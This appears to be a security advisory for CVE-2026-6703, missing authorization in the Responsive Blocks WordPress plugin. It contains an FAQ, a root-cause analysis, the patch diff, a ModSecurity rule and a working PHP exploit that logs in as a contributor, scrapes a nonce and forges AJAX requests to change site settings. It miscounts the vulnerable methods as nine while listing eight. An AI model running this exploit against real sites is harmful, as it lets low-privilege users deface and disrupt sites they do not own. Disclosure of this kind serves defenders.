What is CVE-2026-6703?

CVE-2026-6703 is a medium severity vulnerability in the Responsive Blocks plugin for WordPress, affecting versions up to 2.2.1. It allows authenticated users with contributor-level access and above to modify global plugin settings via AJAX actions without proper authorization checks.

How does the vulnerability work?

The vulnerability arises from missing capability checks in several AJAX action handlers within the plugin. Authenticated users can forge AJAX requests to modify site-wide settings by exploiting the lack of authorization verification, allowing them to change configurations that affect all users.

Who is affected by this vulnerability?

Any WordPress site using the Responsive Blocks plugin version 2.2.1 or earlier is affected. Administrators should check their plugin version and user roles to determine if they have contributor-level users who could exploit this vulnerability.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Responsive Blocks plugin installed. If it is version 2.2.1 or earlier, and you have users with contributor-level access or higher, your site is at risk.

How can I fix this vulnerability?

To remediate CVE-2026-6703, update the Responsive Blocks plugin to version 2.2.2 or later, where the vulnerability has been patched. Ensure that all users with contributor-level access have their permissions reviewed and restricted as necessary.

What does the CVSS score of 4.3 mean?

The CVSS score of 4.3 indicates a medium severity vulnerability. This means that while exploitation requires authenticated access, the potential impact on the site can be significant, allowing attackers to alter critical settings.

What are the potential impacts of this vulnerability?

Successful exploitation can lead to unauthorized changes in global plugin configurations, such as disabling blocks or altering CSS. This can result in site defacement, broken layouts, and a degraded user experience, necessitating administrator intervention.

What is a proof of concept (PoC)?

A proof of concept is a demonstration that shows how the vulnerability can be exploited. In this case, a PoC script can authenticate as a contributor, obtain a valid nonce, and send malicious AJAX requests to modify plugin settings.

How can I mitigate the risk if I cannot update immediately?

If immediate updating is not possible, consider limiting access to the WordPress admin area. Restrict contributor-level user roles and monitor for any unauthorized changes to plugin settings until the plugin can be updated.

What should I do if I suspect exploitation?

If you suspect that the vulnerability has been exploited, review your site settings for unauthorized changes and check user activity logs. Consider restoring from a backup and updating the plugin to the patched version as soon as possible.

Are there any other security measures I should take?

In addition to updating vulnerable plugins, ensure that your site uses strong passwords, enable two-factor authentication for users, and regularly audit user roles and permissions to minimize the risk of unauthorized access.

Where can I find more information about this vulnerability?

Additional information about CVE-2026-6703 can be found on the National Vulnerability Database, security advisory pages, and the plugin’s official documentation. Keeping abreast of security updates and advisories is crucial for maintaining site security.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : April 24, 2026

CVE-2026-6703: Responsive Blocks <= 2.2.1 – Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via AJAX Actions (responsive-block-editor-addons)

CVE ID CVE-2026-6703

Plugin responsive-block-editor-addons

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 2.2.1

Patched Version 2.2.2

Disclosed April 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6703:

Atomic Edge analysis of CVE-2026-6703: The Responsive Blocks plugin for WordPress (versions 2.2.1 and earlier) contains a missing authorization vulnerability in multiple AJAX action handlers. This flaw allows authenticated attackers with contributor-level access or higher to modify global site-wide plugin configuration options. The vulnerability is rated CVSS 4.3 (Medium) due to the requirement for authenticated access, but the impact is complete compromise of plugin-level settings that affect site-wide behavior.

Root Cause: The vulnerability stems from the absence of capability checks in nine AJAX callback methods defined in the class `Responsive_Block_Editor_Addons` in file `responsive-block-editor-addons/includes/class-responsive-block-editor-addons.php`. The vulnerable methods are: `rbea_blocks_toggle()` (line 1723), `rbea_toggle_auto_block_recovery()` (line 1746), `rbea_toggle_global_inherit_from_theme()` (line 1767), `rbea_toggle_custom_css()` (line 1792), `rbea_toggle_template_library_button()` (line 1813), `rbea_save_content_width()` (line 1835), `rbea_save_container_padding()` (line 1859), and `rbea_save_container_gap()` (line 1883). Each method only verifies a nonce via `check_ajax_referer()` but does not call `current_user_can()` to check for administrator-level permissions. The nonce check alone is insufficient because valid nonces can be obtained by any authenticated user. The vulnerable AJAX actions are: `rbea_blocks_toggle`, `rbea_toggle_auto_block_recovery`, `rbea_toggle_global_inherit_from_theme`, `rbea_toggle_custom_css`, `rbea_toggle_template_library_button`, `rbea_save_content_width`, `rbea_save_container_padding`, and `rbea_save_container_gap`.

Exploitation: An attacker with contributor-level access (or higher) can forge AJAX requests to `wp-admin/admin-ajax.php` targeting any of the vulnerable actions. The attacker obtains a valid nonce from the WordPress admin page where the plugin enqueues its scripts. The nonce is typically exposed in a JavaScript variable or inline script. The attacker sends a POST request with the `action` parameter set to the vulnerable action name and the `value` parameter containing the desired setting. For example, to disable all blocks, the attacker sends `action=rbea_blocks_toggle&value=disabled&nonce=VALID_NONCE`. To modify content width, they send `action=rbea_save_content_width&value=1200&nonce=VALID_NONCE`. No administrator-level capability is required beyond being an authenticated user with a nonce.

Patch Analysis: The patch adds a capability check `current_user_can( ‘manage_options’ )` before processing each AJAX request. This check enforces that only users with the ‘manage_options’ capability (typically administrators) can execute these actions. The patch inserts the check at the beginning of each vulnerable method immediately after the nonce verification. The file also adds `ABSPATH` exit guards to several other files as hardening. The version is bumped from 2.2.1 to 2.2.2. The diff shows the exact changes:

“`
+ if ( ! current_user_can( ‘manage_options’ ) ) {
+ wp_send_json_error( array( ‘message’ => ‘Forbidden’ ), 403 );
+ return;
+ }
“`

This prevents any user without administrator privileges from making changes to global plugin settings.

Impact: Successful exploitation allows an attacker to modify global plugin configuration including: enabling or disabling custom CSS, toggling blocks on/off site-wide, changing content width defaults, adjusting container padding and gap values, and toggling auto-block-recovery behavior. This can lead to site defacement (by injecting or disabling CSS), broken layouts (by changing container dimensions), and degraded user experience. The attacker cannot escalate to full site compromise but can cause persistent visual and functional damage that requires administrator intervention to revert. The plugin’s configuration options are stored in WordPress options table and affect all pages using the plugin’s blocks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/responsive-block-editor-addons/classes/class-responsive-block-editor-addons-frontend-styles.php
+++ b/responsive-block-editor-addons/classes/class-responsive-block-editor-addons-frontend-styles.php
@@ -10895,7 +10895,7 @@
 					'background-image' => $updated_button_background_image,
 					'margin-left'      => 'left' === $attr['blockAlign'] ? 0 : '',
 					'margin-right'     => 'right' === $attr['blockAlign'] ? 0 : '',
-					'margin-bottom'    => self::get_css_value( $attr['buttonSpace'], 'px' ),
+					'margin-bottom'    => self::get_css_value( $attr['ctaBottomSpacing'], 'px' ),
 					'padding-left'     => $flag ? '' : self::get_css_value( $attr['ctaButtonLeftPadding'], 'px' ),
 					'padding-right'    => $flag ? '' : self::get_css_value( $attr['ctaButtonRightPadding'], 'px' ),
 					'padding-top'      => $flag ? '' : self::get_css_value( $attr['ctaButtonTopPadding'], 'px' ),
@@ -11177,7 +11177,7 @@
 					'padding-bottom' => $flag ? '' : self::get_css_value( $attr['ctaButtonBottomPaddingMobile'], 'px' ),
 					'font-size'      => self::get_css_value( $attr['ctaFontSizeMobile'], 'px' ),
 					'font-size'      => self::get_css_value( $attr['ctaFontSizeMobile'], 'px' ),
-					'margin-bottom'  => self::get_css_value( $attr['buttonSpaceMobile'], 'px' ),
+					'margin-bottom'  => self::get_css_value( $attr['ctaBottomSpacingMobile'], 'px' ),
 				),
 				' .responsive-block-editor-addons-pricing-image' => array(
 					'width' => self::get_css_value( $attr['imageWidthMobile'], 'px' ),
@@ -11238,7 +11238,7 @@
 					'padding-bottom' => $flag ? '' : self::get_css_value( $attr['ctaButtonBottomPaddingTablet'], 'px' ),
 					'font-size'      => self::get_css_value( $attr['ctaFontSizeTablet'], 'px' ),
 					'font-size'      => self::get_css_value( $attr['ctaFontSizeTablet'], 'px' ),
-					'margin-bottom'  => self::get_css_value( $attr['buttonSpaceTablet'], 'px' ),
+					'margin-bottom'  => self::get_css_value( $attr['ctaBottomSpacingTablet'], 'px' ),
 				),
 				' .responsive-block-editor-addons-pricing-image' => array(
 					'width' => self::get_css_value( $attr['imageWidthTablet'], 'px' ),
@@ -11530,6 +11530,9 @@
 				'subpriceTextDecoration'   => '',
 				'featuresTextDecoration'   => '',
 				'ctaTextDecoration'		   => '',
+				'ctaBottomSpacing'		   => '',
+				'ctaBottomSpacingMobile'   => '',
+				'ctaBottomSpacingTablet'   => '',
 			);
 		}

--- a/responsive-block-editor-addons/dist/frontend_blocks.asset.php
+++ b/responsive-block-editor-addons/dist/frontend_blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'd12fe5c30b79066f99a9e90b318311c4');
 No newline at end of file
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'd281be4940b8ecaaa5e0e539820f673e');
 No newline at end of file
--- a/responsive-block-editor-addons/dist/responsive-block-editor-addons-editor.asset.php
+++ b/responsive-block-editor-addons/dist/responsive-block-editor-addons-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-polyfill'), 'version' => 'e579442e1f1c3511676d99559a5850a4');
 No newline at end of file
+<?php return array('dependencies' => array('wp-polyfill'), 'version' => '3c180786a53a3978732bf3aaea8e283d');
 No newline at end of file
--- a/responsive-block-editor-addons/dist/responsive-block-editor-addons-getting-started.asset.php
+++ b/responsive-block-editor-addons/dist/responsive-block-editor-addons-getting-started.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-blob', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => 'c4d7f26859396940ed9a18d7ba2ebe6c');
 No newline at end of file
+<?php return array('dependencies' => array('react', 'wp-blob', 'wp-components', 'wp-element', 'wp-i18n', 'wp-polyfill'), 'version' => '756a925379542c5c44976c8e6220b2b2');
 No newline at end of file
--- a/responsive-block-editor-addons/dist/responsive-block-editor-addons.asset.php
+++ b/responsive-block-editor-addons/dist/responsive-block-editor-addons.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-media-utils', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => '038a6e3276a756d33fbcf360a37f4806');
 No newline at end of file
+<?php return array('dependencies' => array('jquery', 'lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keycodes', 'wp-media-utils', 'wp-polyfill', 'wp-primitives', 'wp-url'), 'version' => 'a391f3b326d62ea8c7dd50682a53d23e');
 No newline at end of file
--- a/responsive-block-editor-addons/helper/class-responsive-block-editor-addons-helper.php
+++ b/responsive-block-editor-addons/helper/class-responsive-block-editor-addons-helper.php
@@ -9,6 +9,10 @@
  * @subpackage Responsive_Block_Editor_Addons/helper
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * The helper plugin class Responsive_Block_Editor_Addons_Helper.
  *
--- a/responsive-block-editor-addons/includes/class-responsive-block-editor-addons.php
+++ b/responsive-block-editor-addons/includes/class-responsive-block-editor-addons.php
@@ -9,6 +9,10 @@
  * @subpackage Responsive_Block_Editor_Addons/includes
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * The core plugin class Responsive_Block_Editor_Addons.
  *
@@ -1723,6 +1727,11 @@
 	public function rbea_blocks_toggle() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1746,6 +1755,11 @@
 	public function rbea_toggle_auto_block_recovery() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1767,6 +1781,11 @@
 	public function rbea_toggle_global_inherit_from_theme() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1792,6 +1811,11 @@
 	public function rbea_toggle_custom_css() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1813,6 +1837,11 @@
 	public function rbea_toggle_template_library_button() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1835,6 +1864,11 @@
 	public function rbea_save_content_width() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1859,6 +1893,11 @@
 	public function rbea_save_container_padding() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -1883,6 +1922,11 @@
 	public function rbea_save_container_gap() {
 		check_ajax_referer( 'responsive_block_editor_ajax_nonce', 'nonce' );

+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'message' => 'Forbidden' ), 403 );
+			return;
+		}
+
 		if ( ! isset( $_POST['value'] ) ) {
 			wp_send_json_error();
 		}
@@ -2129,10 +2173,20 @@
 		$full_path       = $plugin_dir_path . $relative_path;
 		$file_path_all   = $full_path . 'responsive-sites-gutenberg-all.json';

-		file_put_contents($file_path_all, $filtered_json_all); //phpcs:ignore
+		$bytes_written = file_put_contents( $file_path_all, $filtered_json_all ); //phpcs:ignore

 		// Check if the data was successfully written to the file
-		if ( false !== $file_path_all ) {
+		if ( false !== $bytes_written ) {
+			// Store latest checksum after successful sync so future sync clicks can skip work.
+			$checksum_response = wp_remote_get( 'https://ccreadysites.cyberchimps.com/wp-json/wp/v2/get-last-xml-export-checksum2' );
+			if ( ! is_wp_error( $checksum_response ) ) {
+				$checksum_body = wp_remote_retrieve_body( $checksum_response );
+				$checksum_json = json_decode( $checksum_body, true );
+				if ( is_array( $checksum_json ) && isset( $checksum_json['last_xml_export_checksums'] ) ) {
+					update_option( 'last_xml_export_checksums', sanitize_text_field( $checksum_json['last_xml_export_checksums'] ) );
+				}
+			}
+
 			wp_send_json_success( array( 'filtered_data' => $filtered_json_all ) );
 		} else {
 			wp_send_json_error( array( 'message' => 'Error writing filtered data to the file.' ) );
--- a/responsive-block-editor-addons/includes/layout/functions.php
+++ b/responsive-block-editor-addons/includes/layout/functions.php
@@ -6,6 +6,10 @@
  * @package RBEA Templates
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 if ( ! function_exists( 'rbea_block_templates_get_filesystem' ) ) :
 	/**
 	 * Get an instance of WP_Filesystem_Direct.
--- a/responsive-block-editor-addons/includes/layout/layout-endpoints.php
+++ b/responsive-block-editor-addons/includes/layout/layout-endpoints.php
@@ -7,6 +7,10 @@

 namespace RBEABlocksLayouts;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 use WP_REST_Response;
 use WP_REST_Server;

--- a/responsive-block-editor-addons/responsive-block-editor-addons.php
+++ b/responsive-block-editor-addons/responsive-block-editor-addons.php
@@ -1,20 +1,25 @@
 <?php
 /**
  * Plugin Name:     Responsive Blocks - WordPress Gutenberg Blocks
- * Plugin URI:      cyberchimps.com
+ * Plugin URI:      https://cyberchimps.com/responsive-blocks/
  * Description:     Responsive Blocks offers 50+ Gutenberg blocks so you can design beautiful pages without writing a single line of code.
  * Author:          CyberChimps
  * Author URI:		https://cyberchimps.com/responsive-blocks/
+ * License:         GPLv2 or later
  * Text Domain:     responsive-block-editor-addons
  * Domain Path:     /languages
- * Version:         2.2.1
+ * Version:         2.2.2
  *
  * @package         Responsive_Block_Editor_Addons
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_URL', trailingslashit( plugin_dir_url( __FILE__ ) ) );
 define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_DIR', trailingslashit( plugin_dir_path( __FILE__ ) ) );
-define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_VER', '2.2.1' );
+define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_VER', '2.2.2' );
 define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_BASENAME', plugin_basename( __FILE__ ) );
 define( 'RESPONSIVE_BLOCK_EDITOR_ADDONS_SEVEN_DAYS_IN_SECONDS', 604800 );

--- a/responsive-block-editor-addons/src/blocks/accordion/index.php
+++ b/responsive-block-editor-addons/src/blocks/accordion/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Accordion frontend assets funciton.
  *
--- a/responsive-block-editor-addons/src/blocks/content-timeline/index.php
+++ b/responsive-block-editor-addons/src/blocks/content-timeline/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * content-timeline frontend assets funciton.
  *
--- a/responsive-block-editor-addons/src/blocks/form/index.php
+++ b/responsive-block-editor-addons/src/blocks/form/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Form frontend assets funciton.
  *
--- a/responsive-block-editor-addons/src/blocks/gallery-masonry/index.php
+++ b/responsive-block-editor-addons/src/blocks/gallery-masonry/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Gallery masonry frontend assets funciton.
  *
--- a/responsive-block-editor-addons/src/blocks/image-hotspot/index.php
+++ b/responsive-block-editor-addons/src/blocks/image-hotspot/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Add Frontend assets.
  *
--- a/responsive-block-editor-addons/src/blocks/image-slider/index.php
+++ b/responsive-block-editor-addons/src/blocks/image-slider/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Image Slider frontend assets funciton.
  *
--- a/responsive-block-editor-addons/src/blocks/inline-notice/index.php
+++ b/responsive-block-editor-addons/src/blocks/inline-notice/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Add Frontend assets.
  *
--- a/responsive-block-editor-addons/src/blocks/instagram/index.php
+++ b/responsive-block-editor-addons/src/blocks/instagram/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Function using WordPress API to fetch instagram data.
  *
--- a/responsive-block-editor-addons/src/blocks/portfolio/index.php
+++ b/responsive-block-editor-addons/src/blocks/portfolio/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Renders the portfolio block on server.
  *
--- a/responsive-block-editor-addons/src/blocks/post-carousel/index.php
+++ b/responsive-block-editor-addons/src/blocks/post-carousel/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Add Frontend assets.
  *
--- a/responsive-block-editor-addons/src/blocks/post-grid/index.php
+++ b/responsive-block-editor-addons/src/blocks/post-grid/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Renders the post grid block on server.
  *
--- a/responsive-block-editor-addons/src/blocks/post-timeline/index.php
+++ b/responsive-block-editor-addons/src/blocks/post-timeline/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Renders the post grid block on server.
  *
--- a/responsive-block-editor-addons/src/blocks/table-of-contents/index.php
+++ b/responsive-block-editor-addons/src/blocks/table-of-contents/index.php
@@ -7,6 +7,11 @@
  * @param string $content The post content to extract headings from.
  * @return array The list of headings with level, content, and anchor.
  */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 function responsive_block_editor_addons_extract_headings_from_content( $content ) {
 	if ( empty( $content ) ) {
 		return array();
--- a/responsive-block-editor-addons/src/blocks/taxonomy-list/index.php
+++ b/responsive-block-editor-addons/src/blocks/taxonomy-list/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Registers the taxonomy list block on server
  */
--- a/responsive-block-editor-addons/src/blocks/testimonial-slider/index.php
+++ b/responsive-block-editor-addons/src/blocks/testimonial-slider/index.php
@@ -6,6 +6,10 @@
  * @package Responsive Blocks
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Add Frontend assets.
  *
--- a/responsive-block-editor-addons/src/utils/fonts.php
+++ b/responsive-block-editor-addons/src/utils/fonts.php
@@ -5,6 +5,10 @@
  * @package category
  */

+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
 /**
  * Add google fonts funtion.
  *

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-6703
# Blocks authenticated (contributor+) attempts to modify plugin settings via missing authorization
# Targets the eight vulnerable AJAX actions in Responsive Blocks

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266703,phase:2,deny,status:403,chain,msg:'CVE-2026-6703: Responsive Blocks Missing Authorization',severity:'CRITICAL',tag:'CVE-2026-6703'"
  SecRule ARGS_POST:action "@pm rbea_blocks_toggle rbea_toggle_auto_block_recovery rbea_toggle_global_inherit_from_theme rbea_toggle_custom_css rbea_toggle_template_library_button rbea_save_content_width rbea_save_container_padding rbea_save_container_gap" 
    "chain"
    SecRule ARGS_POST:nonce "@rx ^[a-f0-9]{10,}$" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6703 - Responsive Blocks <= 2.2.1 - Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via AJAX Actions

// Configuration - set these values
$target_url = 'http://example.com';  // WordPress site URL
$username = 'contributor';           // Contributor-level account
$password = 'password123';           // Account password

// Step 1: Authenticate and get cookies and nonce
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'testcookie' => 1]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from admin page (the plugin exposes it in JS)
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/admin.php?page=responsive-block-editor-addons',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
]);
$admin_page = curl_exec($ch);
curl_close($ch);

// Parse nonce from JavaScript variable
preg_match('/"responsive_block_editor_ajax_nonce":"([a-f0-9]+)"/', $admin_page, $matches);
if (!isset($matches[1])) {
    die("[-] Nonce not found. Ensure the plugin is active and the user has access to the settings page.n");
}
$nonce = $matches[1];
echo "[+] Nonce obtained: $noncen";

// Step 2: Exploit each vulnerable AJAX action
$actions = [
    'rbea_blocks_toggle'                => 'disabled',
    'rbea_toggle_custom_css'            => 'enabled',
    'rbea_save_content_width'           => '1200',
    'rbea_save_container_padding'       => '20',
    'rbea_save_container_gap'           => '10',
    'rbea_toggle_auto_block_recovery'   => 'disabled',
    'rbea_toggle_global_inherit_from_theme' => 'disabled',
    'rbea_toggle_template_library_button'   => 'enabled',
];

foreach ($actions as $action => $value) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query([
            'action' => $action,
            'value'  => $value,
            'nonce'  => $nonce,
        ]),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_HTTPHEADER => ['X-Requested-With: XMLHttpRequest'],
    ]);
    $result = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200) {
        echo "[+] Action '$action' executed with value '$value'. Response: $resultn";
    } else {
        echo "[-] Action '$action' failed with HTTP $http_code. Response: $resultn";
    }
}

Frequently Asked Questions

What is CVE-2026-6703?
Overview of the vulnerability
CVE-2026-6703 is a medium severity vulnerability in the Responsive Blocks plugin for WordPress, affecting versions up to 2.2.1. It allows authenticated users with contributor-level access and above to modify global plugin settings via AJAX actions without proper authorization checks.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from missing capability checks in several AJAX action handlers within the plugin. Authenticated users can forge AJAX requests to modify site-wide settings by exploiting the lack of authorization verification, allowing them to change configurations that affect all users.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Responsive Blocks plugin version 2.2.1 or earlier is affected. Administrators should check their plugin version and user roles to determine if they have contributor-level users who could exploit this vulnerability.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Responsive Blocks plugin installed. If it is version 2.2.1 or earlier, and you have users with contributor-level access or higher, your site is at risk.
How can I fix this vulnerability?
Recommended actions
To remediate CVE-2026-6703, update the Responsive Blocks plugin to version 2.2.2 or later, where the vulnerability has been patched. Ensure that all users with contributor-level access have their permissions reviewed and restricted as necessary.
What does the CVSS score of 4.3 mean?
Understanding the risk level
The CVSS score of 4.3 indicates a medium severity vulnerability. This means that while exploitation requires authenticated access, the potential impact on the site can be significant, allowing attackers to alter critical settings.
What are the potential impacts of this vulnerability?
Consequences of exploitation
Successful exploitation can lead to unauthorized changes in global plugin configurations, such as disabling blocks or altering CSS. This can result in site defacement, broken layouts, and a degraded user experience, necessitating administrator intervention.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration that shows how the vulnerability can be exploited. In this case, a PoC script can authenticate as a contributor, obtain a valid nonce, and send malicious AJAX requests to modify plugin settings.
How can I mitigate the risk if I cannot update immediately?
Temporary measures
If immediate updating is not possible, consider limiting access to the WordPress admin area. Restrict contributor-level user roles and monitor for any unauthorized changes to plugin settings until the plugin can be updated.
What should I do if I suspect exploitation?
Response to potential attacks
If you suspect that the vulnerability has been exploited, review your site settings for unauthorized changes and check user activity logs. Consider restoring from a backup and updating the plugin to the patched version as soon as possible.
Are there any other security measures I should take?
Enhancing overall security
In addition to updating vulnerable plugins, ensure that your site uses strong passwords, enable two-factor authentication for users, and regularly audit user roles and permissions to minimize the risk of unauthorized access.
Where can I find more information about this vulnerability?
Resources for further reading
